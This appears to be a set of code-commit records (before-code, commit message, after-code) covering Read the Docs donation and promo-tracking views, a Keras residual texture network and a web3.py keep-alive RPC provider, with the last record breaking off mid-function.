<commit_before>"""Donation views"""
# We use 'hash' heavily in the API here.
# pylint: disable=redefined-builtin

from __future__ import absolute_import
import logging

from django.views.generic import TemplateView
from django.core.urlresolvers import reverse
from django.utils.translation import ugettext_lazy as _
from django.shortcuts import redirect, get_object_or_404, render_to_response
from django.template import RequestContext
from django.core.cache import cache
from django.http import Http404

from vanilla import CreateView, ListView

from readthedocs.donate.utils import offer_promo
from readthedocs.payments.mixins import StripeMixin
from readthedocs.projects.models import Project
from readthedocs.redirects.utils import get_redirect_response

from .models import Supporter, SupporterPromo
from .constants import CLICKS, VIEWS
from .forms import SupporterForm, EthicalAdForm
from .mixins import DonateProgressMixin

log = logging.getLogger(__name__)

class PayAdsView(StripeMixin, CreateView):

    """Create a payment locally and in Stripe"""

    form_class = EthicalAdForm
    success_message = _('Your payment has been received')
    template_name = 'donate/ethicalads.html'

    def get_success_url(self):
        return reverse('pay_success')

class PaySuccess(TemplateView):
    template_name = 'donate/ethicalads-success.html'

class DonateCreateView(StripeMixin, CreateView):

    """Create a donation locally and in Stripe"""

    form_class = SupporterForm
    success_message = _('Your contribution has been received')
    template_name = 'donate/create.html'

    def get_success_url(self):
        return reverse('donate_success')

    def get_initial(self):
        return {'dollars': self.request.GET.get('dollars', 50)}

    def get_form(self, data=None, files=None, **kwargs):
        kwargs['user'] = self.request.user
        return super(DonateCreateView, self).get_form(data, files, **kwargs)

class DonateSuccessView(TemplateView):
    template_name = 'donate/success.html'

class DonateListView(DonateProgressMixin, ListView):

    """Donation list and detail view"""

    template_name = 'donate/list.html'
    model = Supporter
    context_object_name = 'supporters'

    def get_queryset(self):
        return (Supporter.objects
                .filter(public=True)
                .order_by('-dollars', '-pub_date'))

    def get_template_names(self):
        return [self.template_name]

class PromoDetailView(TemplateView):
    template_name = 'donate/promo_detail.html'

    def get_context_data(self, **kwargs):
        promo_slug = kwargs['promo_slug']
        days = int(self.request.GET.get('days', 90))

        if promo_slug == 'live' and self.request.user.is_staff:
            promos = SupporterPromo.objects.filter(live=True)
        elif promo_slug[-1] == '*' and '-' in promo_slug:
            promos = SupporterPromo.objects.filter(
                analytics_id__contains=promo_slug.replace('*', '')
            )
        else:
            slugs = promo_slug.split(',')
            promos = SupporterPromo.objects.filter(analytics_id__in=slugs)

        total_clicks = sum(promo.total_clicks() for promo in promos)

        return {
            'promos': promos,
            'total_clicks': total_clicks,
            'days': days,
            'days_slice': ':%s' % days,
        }

def click_proxy(request, promo_id, hash):
    """Track a click on a promotion and redirect to the link."""
    promo = get_object_or_404(SupporterPromo, pk=promo_id)
    count = cache.get(promo.cache_key(type=CLICKS, hash=hash), None)
    if count is None:
        log.warning('Old or nonexistent hash tried on Click.')
    elif count == 0:
        promo.incr(CLICKS)
        cache.incr(promo.cache_key(type=CLICKS, hash=hash))
        project_slug = cache.get(
            promo.cache_key(type='project', hash=hash),
            None
        )
        if project_slug:
            project = Project.objects.get(slug=project_slug)
            promo.incr(CLICKS, project=project)
    else:
        agent = request.META.get('HTTP_USER_AGENT', 'Unknown')
        log.warning(
            'Duplicate click logged. {count} total clicks tried. User Agent: [{agent}]'.format(
                count=count, agent=agent
            )
        )
        cache.incr(promo.cache_key(type=CLICKS, hash=hash))
        raise Http404('Invalid click. This has been logged.')
    return redirect(promo.link)

def view_proxy(request, promo_id, hash):
    """Track a view of a promotion and redirect to the image."""
    promo = get_object_or_404(SupporterPromo, pk=promo_id)
    if not promo.image:
        raise Http404('No image defined for this promo.')
    count = cache.get(promo.cache_key(type=VIEWS, hash=hash), None)
    if count is None:
        log.warning('Old or nonexistent hash tried on View.')
    elif count == 0:
        promo.incr(VIEWS)
        cache.incr(promo.cache_key(type=VIEWS, hash=hash))
        project_slug = cache.get(
            promo.cache_key(type='project', hash=hash),
            None
        )
        if project_slug:
            project = Project.objects.get(slug=project_slug)
            promo.incr(VIEWS, project=project)
    else:
        agent = request.META.get('HTTP_USER_AGENT', 'Unknown')
        log.warning(
            'Duplicate view logged. {count} total views tried. User Agent: [{agent}]'.format(
                count=count, agent=agent
            )
        )
        cache.incr(promo.cache_key(type=VIEWS, hash=hash))
        raise Http404('Invalid click. This has been logged.')
    return redirect(promo.image)

def _add_promo_data(display_type):
    promo_queryset = SupporterPromo.objects.filter(live=True, display_type=display_type)
    promo_obj = promo_queryset.order_by('?').first()
    if promo_obj:
        promo_dict = offer_promo(promo_obj=promo_obj, project=None)
    else:
        promo_dict = None
    return promo_dict

def promo_500(request, template_name='donate/promo_500.html', **__):
    """A simple 500 handler so we get media"""
    promo_dict = _add_promo_data(display_type='error')
    r = render_to_response(template_name,
                           context_instance=RequestContext(request),
                           context={
                               'promo_data': promo_dict,
                           })
    r.status_code = 500
    return r

def promo_404(request, template_name='donate/promo_404.html', **__):
    """A simple 404 handler so we get media"""
    promo_dict = _add_promo_data(display_type='error')
    response = get_redirect_response(request, path=request.get_full_path())
    if response:
        return response
    r = render_to_response(template_name,
                           context_instance=RequestContext(request),
                           context={
                               'promo_data': promo_dict,
                           })
    r.status_code = 404
    return r
<commit_msg>Do not 404 on double clicks and views<commit_after>"""Donation views"""
# We use 'hash' heavily in the API here.
# pylint: disable=redefined-builtin

from __future__ import absolute_import
import logging

from django.views.generic import TemplateView
from django.core.urlresolvers import reverse
from django.utils.translation import ugettext_lazy as _
from django.shortcuts import redirect, get_object_or_404, render_to_response
from django.template import RequestContext
from django.core.cache import cache
from django.http import Http404

from vanilla import CreateView, ListView

from readthedocs.donate.utils import offer_promo
from readthedocs.payments.mixins import StripeMixin
from readthedocs.projects.models import Project
from readthedocs.redirects.utils import get_redirect_response

from .models import Supporter, SupporterPromo
from .constants import CLICKS, VIEWS
from .forms import SupporterForm, EthicalAdForm
from .mixins import DonateProgressMixin

log = logging.getLogger(__name__)

class PayAdsView(StripeMixin, CreateView):

    """Create a payment locally and in Stripe"""

    form_class = EthicalAdForm
    success_message = _('Your payment has been received')
    template_name = 'donate/ethicalads.html'

    def get_success_url(self):
        return reverse('pay_success')

class PaySuccess(TemplateView):
    template_name = 'donate/ethicalads-success.html'

class DonateCreateView(StripeMixin, CreateView):

    """Create a donation locally and in Stripe"""

    form_class = SupporterForm
    success_message = _('Your contribution has been received')
    template_name = 'donate/create.html'

    def get_success_url(self):
        return reverse('donate_success')

    def get_initial(self):
        return {'dollars': self.request.GET.get('dollars', 50)}

    def get_form(self, data=None, files=None, **kwargs):
        kwargs['user'] = self.request.user
        return super(DonateCreateView, self).get_form(data, files, **kwargs)

class DonateSuccessView(TemplateView):
    template_name = 'donate/success.html'

class DonateListView(DonateProgressMixin, ListView):

    """Donation list and detail view"""

    template_name = 'donate/list.html'
    model = Supporter
    context_object_name = 'supporters'

    def get_queryset(self):
        return (Supporter.objects
                .filter(public=True)
                .order_by('-dollars', '-pub_date'))

    def get_template_names(self):
        return [self.template_name]

class PromoDetailView(TemplateView):
    template_name = 'donate/promo_detail.html'

    def get_context_data(self, **kwargs):
        promo_slug = kwargs['promo_slug']
        days = int(self.request.GET.get('days', 90))

        if promo_slug == 'live' and self.request.user.is_staff:
            promos = SupporterPromo.objects.filter(live=True)
        elif promo_slug[-1] == '*' and '-' in promo_slug:
            promos = SupporterPromo.objects.filter(
                analytics_id__contains=promo_slug.replace('*', '')
            )
        else:
            slugs = promo_slug.split(',')
            promos = SupporterPromo.objects.filter(analytics_id__in=slugs)

        total_clicks = sum(promo.total_clicks() for promo in promos)

        return {
            'promos': promos,
            'total_clicks': total_clicks,
            'days': days,
            'days_slice': ':%s' % days,
        }

def click_proxy(request, promo_id, hash):
    """Track a click on a promotion and redirect to the link."""
    promo = get_object_or_404(SupporterPromo, pk=promo_id)
    count = cache.get(promo.cache_key(type=CLICKS, hash=hash), None)
    if count is None:
        log.warning('Old or nonexistent hash tried on Click.')
    elif count == 0:
        promo.incr(CLICKS)
        cache.incr(promo.cache_key(type=CLICKS, hash=hash))
        project_slug = cache.get(
            promo.cache_key(type='project', hash=hash),
            None
        )
        if project_slug:
            project = Project.objects.get(slug=project_slug)
            promo.incr(CLICKS, project=project)
    else:
        agent = request.META.get('HTTP_USER_AGENT', 'Unknown')
        log.warning(
            'Duplicate click logged. {count} total clicks tried. User Agent: [{agent}]'.format(
                count=count, agent=agent
            )
        )
        cache.incr(promo.cache_key(type=CLICKS, hash=hash))
    return redirect(promo.link)

def view_proxy(request, promo_id, hash):
    """Track a view of a promotion and redirect to the image."""
    promo = get_object_or_404(SupporterPromo, pk=promo_id)
    if not promo.image:
        raise Http404('No image defined for this promo.')
    count = cache.get(promo.cache_key(type=VIEWS, hash=hash), None)
    if count is None:
        log.warning('Old or nonexistent hash tried on View.')
    elif count == 0:
        promo.incr(VIEWS)
        cache.incr(promo.cache_key(type=VIEWS, hash=hash))
        project_slug = cache.get(
            promo.cache_key(type='project', hash=hash),
            None
        )
        if project_slug:
            project = Project.objects.get(slug=project_slug)
            promo.incr(VIEWS, project=project)
    else:
        agent = request.META.get('HTTP_USER_AGENT', 'Unknown')
        log.warning(
            'Duplicate view logged. {count} total views tried. User Agent: [{agent}]'.format(
                count=count, agent=agent
            )
        )
        cache.incr(promo.cache_key(type=VIEWS, hash=hash))
    return redirect(promo.image)

def _add_promo_data(display_type):
    promo_queryset = SupporterPromo.objects.filter(live=True, display_type=display_type)
    promo_obj = promo_queryset.order_by('?').first()
    if promo_obj:
        promo_dict = offer_promo(promo_obj=promo_obj, project=None)
    else:
        promo_dict = None
    return promo_dict

def promo_500(request, template_name='donate/promo_500.html', **__):
    """A simple 500 handler so we get media"""
    promo_dict = _add_promo_data(display_type='error')
    r = render_to_response(template_name,
                           context_instance=RequestContext(request),
                           context={
                               'promo_data': promo_dict,
                           })
    r.status_code = 500
    return r

def promo_404(request, template_name='donate/promo_404.html', **__):
    """A simple 404 handler so we get media"""
    promo_dict = _add_promo_data(display_type='error')
    response = get_redirect_response(request, path=request.get_full_path())
    if response:
        return response
    r = render_to_response(template_name,
                           context_instance=RequestContext(request),
                           context={
                               'promo_data': promo_dict,
                           })
    r.status_code = 404
    return r
<|endoftext|>


<commit_before>import os
import time

import numpy as np
import six
import keras.initializations
import keras_vgg_buddy
from keras import backend as K
from keras.layers.advanced_activations import LeakyReLU
from keras.layers.core import Activation, Layer
from keras.layers.convolutional import AveragePooling2D, Convolution2D, MaxPooling2D, UpSampling2D, ZeroPadding2D
from keras.layers.normalization import BatchNormalization
from keras.models import Graph, Sequential

def add_conv_block(net, name, input_name, filters, filter_size, activation='relu', subsample=(1, 1)):
    net.add_node(Convolution2D(filters, filter_size, filter_size, subsample=subsample, border_mode='same'),
        name + '_conv', input_name)
    net.add_node(BatchNormalization(mode=0, axis=1), name + '_bn',  name + '_conv')
    if isinstance(activation, six.string_types):
        net.add_node(Activation(activation), name,  name + '_bn')
    else:
        net.add_node(activation(), name, name + '_bn')

def add_conv_block_group(g, name, input_name, num_filters, filter_size):
    add_model_block(g, name + '_b0', input_name, num_filters, filter_size)
    add_model_block(g, name + '_b1', name + '_b0', num_filters, filter_size)
    add_model_block(g, name, name + '_b1', num_filters, 1)

def create_res_texture_net(input_rows, input_cols, num_res_filters=128,
        res_out_activation='linear', activation='relu', num_res_blocks=5, depth=3):
    '''Adds a series of residual blocks at each resolution scale, rather than just
    the minimium one.
    '''
    net = Graph()
    net.add_input('x', input_shape=(3, input_rows, input_cols))
    add_conv_block(net, 'in0', 'x', num_res_filters // 4, 9, activation=activation)
    last_name = 'in0'
    # scale down input to max depth with a series of strided convolutions
    for scale_i in range(depth):
        num_scale_filters = num_res_filters // (2 ** (depth - scale_i - 1))
        scale_name = 'down_{}'.format(scale_i)
        add_conv_block(net, scale_name, last_name, num_scale_filters, 3, subsample=(2, 2), activation=activation)
        last_name = scale_name
    # add a series of residual blocks at each scale, from smallest to largest
    for scale_i in reversed(range(depth)):
        num_scale_filters = num_res_filters // (2 ** (depth - scale_i - 1))
        last_scale_name = last_name
        for res_i in range(num_res_blocks):
            block_name = 'res_{}_{}'.format(scale_i, res_i)
            add_conv_block(net, block_name + '_b0', last_name, num_res_filters, 3, activation=activation)
            add_conv_block(net, block_name + '_b1', block_name + '_b0', num_res_filters, 1, activation='linear')
            if last_name == last_scale_name:
                # tranform residual connection to same number of filters
                add_conv_block(net, block_name + '_res', last_name, num_res_filters, 1, activation='linear')
            else:
                # no transform needed when the last node was part of the current residual block
                net.add_node(Layer(), block_name + '_res', last_name)
            net.add_node(Activation(res_out_activation), block_name, merge_mode='sum', inputs=[block_name + '_b1', block_name + '_res'])
            last_name = block_name
        # theano doesn't seem to support fractionally-strided convolutions at the moment
        up_name = 'up_{}'.format(scale_i)
        net.add_node(UpSampling2D(), up_name, last_name)
        last_name = up_name
        last_scale_name = up_name
    # final output
    add_conv_block(net, 'out', last_name, 3, 9, activation='linear')
    net.add_node(Activation('linear'), 'texture_rgb', 'out', create_output=True)
    return net
<commit_msg>better scheduling for number of filters per scale<commit_after>import os
import time

import numpy as np
import six
import keras.initializations
import keras_vgg_buddy
from keras import backend as K
from keras.layers.advanced_activations import LeakyReLU
from keras.layers.core import Activation, Layer
from keras.layers.convolutional import AveragePooling2D, Convolution2D, MaxPooling2D, UpSampling2D, ZeroPadding2D
from keras.layers.normalization import BatchNormalization
from keras.models import Graph, Sequential

def add_conv_block(net, name, input_name, filters, filter_size, activation='relu',
        subsample=(1, 1), init='glorot_uniform'):
    net.add_node(
        Convolution2D(filters, filter_size, filter_size,
            subsample=subsample, border_mode='same', init=init),
        name + '_conv', input_name)
    net.add_node(BatchNormalization(mode=0, axis=1), name + '_bn',  name + '_conv')
    if isinstance(activation, six.string_types):
        net.add_node(Activation(activation), name,  name + '_bn')
    else:
        net.add_node(activation(), name, name + '_bn')

def add_conv_block_group(g, name, input_name, num_filters, filter_size):
    add_model_block(g, name + '_b0', input_name, num_filters, filter_size)
    add_model_block(g, name + '_b1', name + '_b0', num_filters, filter_size)
    add_model_block(g, name, name + '_b1', num_filters, 1)

def create_res_texture_net(input_rows, input_cols, num_res_filters=128,
        res_out_activation='linear', activation='relu', num_res_blocks=5, depth=3):
    '''Adds a series of residual blocks at each resolution scale, rather than just
    the minimium one.
    '''
    net = Graph()
    net.add_input('x', input_shape=(3, input_rows, input_cols))
    add_conv_block(net, 'in0', 'x', num_res_filters // 4, 9, activation=activation)
    last_name = 'in0'
    # scale down input to max depth with a series of strided convolutions
    for scale_i in range(depth):
        num_scale_filters = num_res_filters - scale_i * 8 # // (2 ** scale_i) # (depth - scale_i - 1))
        scale_name = 'down_{}'.format(scale_i)
        add_conv_block(net, scale_name, last_name, num_scale_filters, 3, subsample=(2, 2), activation=activation)
        last_name = scale_name
    # add a series of residual blocks at each scale, from smallest to largest
    for scale_i in reversed(range(depth)):
        num_scale_filters = num_res_filters - scale_i * 8 # // (2 ** scale_i) # (depth - scale_i - 1))
        last_scale_name = last_name
        for res_i in range(num_res_blocks):
            block_name = 'res_{}_{}'.format(scale_i, res_i)
            add_conv_block(net, block_name + '_b0', last_name, num_res_filters, 3, activation=activation)
            add_conv_block(net, block_name + '_b1', block_name + '_b0', num_res_filters, 1, activation='linear')
            if last_name == last_scale_name:
                # tranform residual connection to same number of filters
                add_conv_block(net, block_name + '_res', last_name, num_res_filters, 1, activation='linear')
            else:
                # no transform needed when the last node was part of the current residual block
                net.add_node(Layer(), block_name + '_res', last_name)
            net.add_node(Activation(res_out_activation), block_name, merge_mode='sum', inputs=[block_name + '_b1', block_name + '_res'])
            last_name = block_name
        # theano doesn't seem to support fractionally-strided convolutions at the moment
        up_name = 'up_{}'.format(scale_i)
        net.add_node(UpSampling2D(), up_name, last_name)
        last_name = up_name
        last_scale_name = up_name
    # final output
    add_conv_block(net, 'out', last_name, 3, 9, activation='linear')
    net.add_node(Activation('linear'), 'texture_rgb', 'out', create_output=True)
    return net
<|endoftext|>


<commit_before>"""Donation views"""

import logging

from django.views.generic import TemplateView
from django.core.urlresolvers import reverse
from django.utils.translation import ugettext_lazy as _
from django.shortcuts import redirect, get_object_or_404, render_to_response
from django.template import RequestContext
from django.core.cache import cache
from django.http import Http404

from vanilla import CreateView, ListView

from readthedocs.donate.models import SupporterPromo
from readthedocs.donate.utils import offer_promo
from readthedocs.payments.mixins import StripeMixin
from readthedocs.projects.models import Project
from readthedocs.redirects.utils import get_redirect_response

from .models import Supporter, SupporterPromo, CLICKS, VIEWS
from .forms import SupporterForm, EthicalAdForm
from .mixins import DonateProgressMixin

log = logging.getLogger(__name__)

class PayAdsView(StripeMixin, CreateView):

    """Create a payment locally and in Stripe"""

    form_class = EthicalAdForm
    success_message = _('Your payment has been received')
    template_name = 'donate/ethicalads.html'

    def get_success_url(self):
        return reverse('pay_success')

class PaySuccess(TemplateView):
    template_name = 'donate/ethicalads-success.html'

class DonateCreateView(StripeMixin, CreateView):

    """Create a donation locally and in Stripe"""

    form_class = SupporterForm
    success_message = _('Your contribution has been received')
    template_name = 'donate/create.html'

    def get_success_url(self):
        return reverse('donate_success')

    def get_initial(self):
        return {'dollars': self.request.GET.get('dollars', 50)}

    def get_form(self, data=None, files=None, **kwargs):
        kwargs['user'] = self.request.user
        return super(DonateCreateView, self).get_form(data, files, **kwargs)

class DonateSuccessView(TemplateView):
    template_name = 'donate/success.html'

class DonateListView(DonateProgressMixin, ListView):

    """Donation list and detail view"""

    template_name = 'donate/list.html'
    model = Supporter
    context_object_name = 'supporters'

    def get_queryset(self):
        return (Supporter.objects
                .filter(public=True)
                .order_by('-dollars', '-pub_date'))

    def get_template_names(self):
        return [self.template_name]

class PromoDetailView(TemplateView):
    template_name = 'donate/promo_detail.html'

    def get_context_data(self, **kwargs):
        promo_slug = kwargs['promo_slug']
        days = int(self.request.GET.get('days', 90))

        if promo_slug == 'live' and self.request.user.is_staff:
            promos = SupporterPromo.objects.filter(live=True)
        elif '*' in promo_slug:
            promos = SupporterPromo.objects.filter(
                analytics_id__contains=promo_slug.replace('*', '')
            )
        else:
            slugs = promo_slug.split(',')
            promos = SupporterPromo.objects.filter(analytics_id__in=slugs)

        total_clicks = sum(promo.total_clicks() for promo in promos)

        return {
            'promos': promos,
            'total_clicks': total_clicks,
            'days': days,
            'days_slice': ':%s' % days,
        }

def click_proxy(request, promo_id, hash):
    promo = get_object_or_404(SupporterPromo, pk=promo_id)
    count = cache.get(promo.cache_key(type=CLICKS, hash=hash), None)
    if count is None:
        log.warning('Old or nonexistent hash tried on Click.')
    elif count == 0:
        promo.incr(CLICKS)
        cache.incr(promo.cache_key(type=CLICKS, hash=hash))
        project_slug = cache.get(
            promo.cache_key(type='project', hash=hash),
            None
        )
        if project_slug:
            project = Project.objects.get(slug=project_slug)
            promo.incr(CLICKS, project=project)
    else:
        log.warning('Duplicate click logged. {count} total clicks tried.'.format(count=count))
        cache.incr(promo.cache_key(type=CLICKS, hash=hash))
    return redirect(promo.link)

def view_proxy(request, promo_id, hash):
    promo = get_object_or_404(SupporterPromo, pk=promo_id)
    if not promo.image:
        raise Http404('No image defined for this promo.')
    count = cache.get(promo.cache_key(type=VIEWS, hash=hash), None)
    if count is None:
        log.warning('Old or nonexistent hash tried on View.')
    elif count == 0:
        promo.incr(VIEWS)
        cache.incr(promo.cache_key(type=VIEWS, hash=hash))
        project_slug = cache.get(
            promo.cache_key(type='project', hash=hash),
            None
        )
        if project_slug:
            project = Project.objects.get(slug=project_slug)
            promo.incr(VIEWS, project=project)
    else:
        log.warning('Duplicate view logged. {count} total clicks tried.'.format(count=count))
        cache.incr(promo.cache_key(type=VIEWS, hash=hash))
    return redirect(promo.image)

def add_promo_data(display_type):
    promo_queryset = SupporterPromo.objects.filter(live=True, display_type=display_type)
    promo_obj = promo_queryset.order_by('?').first()
    if promo_obj:
        promo_dict = offer_promo(promo_obj=promo_obj, project=None)
    else:
        promo_dict = None
    return promo_dict

def promo_500(request, template_name='500.html', **kwargs):
    """A simple 500 handler so we get media"""
    promo_dict = add_promo_data(display_type='error')
    r = render_to_response(template_name,
                           context_instance=RequestContext(request),
                           context={
                               'promo_data': promo_dict,
                           })
    r.status_code = 500
    return r

def promo_404(request, template_name='404.html', **kwargs):
    """A simple 404 handler so we get media"""
    promo_dict = add_promo_data(display_type='error')
    response = get_redirect_response(request, path=request.get_full_path())
    if response:
        return response
    r = render_to_response(template_name,
                           context_instance=RequestContext(request),
                           context={
                               'promo_data': promo_dict,
                           })
    r.status_code = 404
    return r
<commit_msg>Fix imports<commit_after>"""Donation views"""

import logging

from django.views.generic import TemplateView
from django.core.urlresolvers import reverse
from django.utils.translation import ugettext_lazy as _
from django.shortcuts import redirect, get_object_or_404, render_to_response
from django.template import RequestContext
from django.core.cache import cache
from django.http import Http404

from vanilla import CreateView, ListView

from readthedocs.donate.utils import offer_promo
from readthedocs.payments.mixins import StripeMixin
from readthedocs.projects.models import Project
from readthedocs.redirects.utils import get_redirect_response

from .models import Supporter, SupporterPromo
from .constants import CLICKS, VIEWS
from .forms import SupporterForm, EthicalAdForm
from .mixins import DonateProgressMixin

log = logging.getLogger(__name__)

class PayAdsView(StripeMixin, CreateView):

    """Create a payment locally and in Stripe"""

    form_class = EthicalAdForm
    success_message = _('Your payment has been received')
    template_name = 'donate/ethicalads.html'

    def get_success_url(self):
        return reverse('pay_success')

class PaySuccess(TemplateView):
    template_name = 'donate/ethicalads-success.html'

class DonateCreateView(StripeMixin, CreateView):

    """Create a donation locally and in Stripe"""

    form_class = SupporterForm
    success_message = _('Your contribution has been received')
    template_name = 'donate/create.html'

    def get_success_url(self):
        return reverse('donate_success')

    def get_initial(self):
        return {'dollars': self.request.GET.get('dollars', 50)}

    def get_form(self, data=None, files=None, **kwargs):
        kwargs['user'] = self.request.user
        return super(DonateCreateView, self).get_form(data, files, **kwargs)

class DonateSuccessView(TemplateView):
    template_name = 'donate/success.html'

class DonateListView(DonateProgressMixin, ListView):

    """Donation list and detail view"""

    template_name = 'donate/list.html'
    model = Supporter
    context_object_name = 'supporters'

    def get_queryset(self):
        return (Supporter.objects
                .filter(public=True)
                .order_by('-dollars', '-pub_date'))

    def get_template_names(self):
        return [self.template_name]

class PromoDetailView(TemplateView):
    template_name = 'donate/promo_detail.html'

    def get_context_data(self, **kwargs):
        promo_slug = kwargs['promo_slug']
        days = int(self.request.GET.get('days', 90))

        if promo_slug == 'live' and self.request.user.is_staff:
            promos = SupporterPromo.objects.filter(live=True)
        elif '*' in promo_slug:
            promos = SupporterPromo.objects.filter(
                analytics_id__contains=promo_slug.replace('*', '')
            )
        else:
            slugs = promo_slug.split(',')
            promos = SupporterPromo.objects.filter(analytics_id__in=slugs)

        total_clicks = sum(promo.total_clicks() for promo in promos)

        return {
            'promos': promos,
            'total_clicks': total_clicks,
            'days': days,
            'days_slice': ':%s' % days,
        }

def click_proxy(request, promo_id, hash):
    promo = get_object_or_404(SupporterPromo, pk=promo_id)
    count = cache.get(promo.cache_key(type=CLICKS, hash=hash), None)
    if count is None:
        log.warning('Old or nonexistent hash tried on Click.')
    elif count == 0:
        promo.incr(CLICKS)
        cache.incr(promo.cache_key(type=CLICKS, hash=hash))
        project_slug = cache.get(
            promo.cache_key(type='project', hash=hash),
            None
        )
        if project_slug:
            project = Project.objects.get(slug=project_slug)
            promo.incr(CLICKS, project=project)
    else:
        log.warning('Duplicate click logged. {count} total clicks tried.'.format(count=count))
        cache.incr(promo.cache_key(type=CLICKS, hash=hash))
    return redirect(promo.link)

def view_proxy(request, promo_id, hash):
    promo = get_object_or_404(SupporterPromo, pk=promo_id)
    if not promo.image:
        raise Http404('No image defined for this promo.')
    count = cache.get(promo.cache_key(type=VIEWS, hash=hash), None)
    if count is None:
        log.warning('Old or nonexistent hash tried on View.')
    elif count == 0:
        promo.incr(VIEWS)
        cache.incr(promo.cache_key(type=VIEWS, hash=hash))
        project_slug = cache.get(
            promo.cache_key(type='project', hash=hash),
            None
        )
        if project_slug:
            project = Project.objects.get(slug=project_slug)
            promo.incr(VIEWS, project=project)
    else:
        log.warning('Duplicate view logged. {count} total clicks tried.'.format(count=count))
        cache.incr(promo.cache_key(type=VIEWS, hash=hash))
    return redirect(promo.image)

def add_promo_data(display_type):
    promo_queryset = SupporterPromo.objects.filter(live=True, display_type=display_type)
    promo_obj = promo_queryset.order_by('?').first()
    if promo_obj:
        promo_dict = offer_promo(promo_obj=promo_obj, project=None)
    else:
        promo_dict = None
    return promo_dict

def promo_500(request, template_name='500.html', **kwargs):
    """A simple 500 handler so we get media"""
    promo_dict = add_promo_data(display_type='error')
    r = render_to_response(template_name,
                           context_instance=RequestContext(request),
                           context={
                               'promo_data': promo_dict,
                           })
    r.status_code = 500
    return r

def promo_404(request, template_name='404.html', **kwargs):
    """A simple 404 handler so we get media"""
    promo_dict = add_promo_data(display_type='error')
    response = get_redirect_response(request, path=request.get_full_path())
    if response:
        return response
    r = render_to_response(template_name,
                           context_instance=RequestContext(request),
                           context={
                               'promo_data': promo_dict,
                           })
    r.status_code = 404
    return r
<|endoftext|>


<commit_before>import contextlib
import gevent
from geventhttpclient import HTTPClient
import logging

from .base import BaseProvider  # noqa: E402

class RPCProvider(BaseProvider):
    def __init__(self,
                 host="127.0.0.1",
                 port="8545",
                 path="/",
                 ssl=False,
                 connection_timeout=10,
                 network_timeout=10,
                 *args,
                 **kwargs):
        """Create a new RPC client.

        :param connection_timeout: See :class:`geventhttpclient.HTTPClient`

        :param network_timeout: See :class:`geventhttpclient.HTTPClient`
        """
        self.host = host
        self.port = int(port)
        self.path = path
        self.ssl = ssl
        self.connection_timeout = connection_timeout
        self.network_timeout = network_timeout

        super(RPCProvider, self).__init__(*args, **kwargs)

    def make_request(self, method, params):
        from web3 import __version__ as web3_version
        request_data = self.encode_rpc_request(method, params)
        request_user_agent = 'Web3.py/{version}/{class_name}'.format(
            version=web3_version,
            class_name=type(self),
        )
        client = HTTPClient(
            host=self.host,
            port=self.port,
            ssl=self.ssl,
            connection_timeout=self.connection_timeout,
            network_timeout=self.network_timeout,
            headers={
                'Content-Type': 'application/json',
                'User-Agent': request_user_agent,
            },
        )
        with contextlib.closing(client):
            response = client.post(self.path, body=request_data)
            response_body = response.read()

        return response_body

def is_testrpc_available():
    try:
        import testrpc  # noqa: F401
        return True
    except ImportError:
        return False

class TestRPCProvider(RPCProvider):
    def __init__(self, host="127.0.0.1", port=8545, *args, **kwargs):
        if not is_testrpc_available():
            raise Exception("`TestRPCProvider` requires the `eth-testrpc` package to be installed")
        from gevent.pywsgi import WSGIServer
        from testrpc.server import application
        from testrpc.testrpc import evm_reset

        try:
            logger = kwargs.pop('logger')
        except KeyError:
            logger = logging.getLogger('testrpc')

        evm_reset()

        self.server = WSGIServer(
            (host, port),
            application,
            log=logger,
            error_log=logger,
        )

        self.thread = gevent.spawn(self.server.serve_forever)

        super(TestRPCProvider, self).__init__(host, str(port), *args, **kwargs)
<commit_msg>Add KeepAlive RPC provider.<commit_after>import contextlib
import gevent
from geventhttpclient import HTTPClient
import logging

from .base import BaseProvider  # noqa: E402

class RPCProvider(BaseProvider):
    def __init__(self,
                 host="127.0.0.1",
                 port="8545",
                 path="/",
                 ssl=False,
                 connection_timeout=10,
                 network_timeout=10,
                 *args,
                 **kwargs):
        """Create a new RPC client.

        :param connection_timeout: See :class:`geventhttpclient.HTTPClient`

        :param network_timeout: See :class:`geventhttpclient.HTTPClient`
        """
        self.host = host
        self.port = int(port)
        self.path = path
        self.ssl = ssl
        self.connection_timeout = connection_timeout
        self.network_timeout = network_timeout

        super(RPCProvider, self).__init__(*args, **kwargs)

    def __str__(self):
        return "RPC connection {}:{}".format(self.host, self.port)

    def __repr__(self):
        return self.__str__()

    def make_request(self, method, params):
        from web3 import __version__ as web3_version
        request_data = self.encode_rpc_request(method, params)
        request_user_agent = 'Web3.py/{version}/{class_name}'.format(
            version=web3_version,
            class_name=type(self),
        )
        client = HTTPClient(
            host=self.host,
            port=self.port,
            ssl=self.ssl,
            connection_timeout=self.connection_timeout,
            network_timeout=self.network_timeout,
            headers={
                'Content-Type': 'application/json',
                'User-Agent': request_user_agent,
            },
        )
        with contextlib.closing(client):
            response = client.post(self.path, body=request_data)
            response_body = response.read()

        return response_body

class KeepAliveRPCProvider(BaseProvider):
    """RPC-provider that handles HTTP keep-alive connection correctly.

    HTTP client is recycled across requests. Create only one instance of KeepAliveProvider per process.
    """

    #: In-process client cache keyed by host:port -> HTTPClient
    clients = {}

    def __init__(self,
                 host="127.0.0.1",
                 port="8545",
                 path="/",
                 ssl=False,
                 connection_timeout=10,
                 network_timeout=10,
                 concurrency=10,
                 *args,
                 **kwargs):
        """Create a new RPC client.

        :param concurrency: See :class:`geventhttpclient.HTTPClient`

        :param connection_timeout: See :class:`geventhttpclient.HTTPClient`

        :param network_timeout: See :class:`geventhttpclient.HTTPClient`
        """
        self.host = host
        self.port = int(port)
        self.path = path
        self.ssl = ssl
        self.connection_timeout = connection_timeout
        self.network_timeout = network_timeout
        self.concurrency = self.concurrency

        super(KeepAliveRPCProvider, self).__init__(*args, **kwargs)

        self.client = self.get_or_create_client()

    def get_or_create_client(self):
        from web3 import __version__ as web3_version

        key = "{}:{}".format(self.host, self.port)
        client = KeepAliveRPCProvider.clients.get(key)
        if client:
            # Get in-process client instance for this host
            return client

        request_user_agent = 'Web3.py/{version}/{class_name}'.format(
            version=web3_version,
            class_name=type(self),
        )

        client = HTTPClient(
            host=self.host,
            port=self.port,
            ssl=self.ssl,
            connection_timeout=self.connection_timeout,
            network_timeout=self.network_timeout,
            concurrency=self.concurrency,
            headers={
                'Content-Type': 'application/json',
                'User-Agent': request_user_agent,
            },
        )

        self.clients[key] = client
        return client

    def __str__(self):
        return "Keep-alive RPC connection {}:{}".format(self.host, self.port)

    def __repr__(self):
        return self.__str__()

    def make_request(self, method, params):

        request_data = self.encode_rpc_request(method, params)

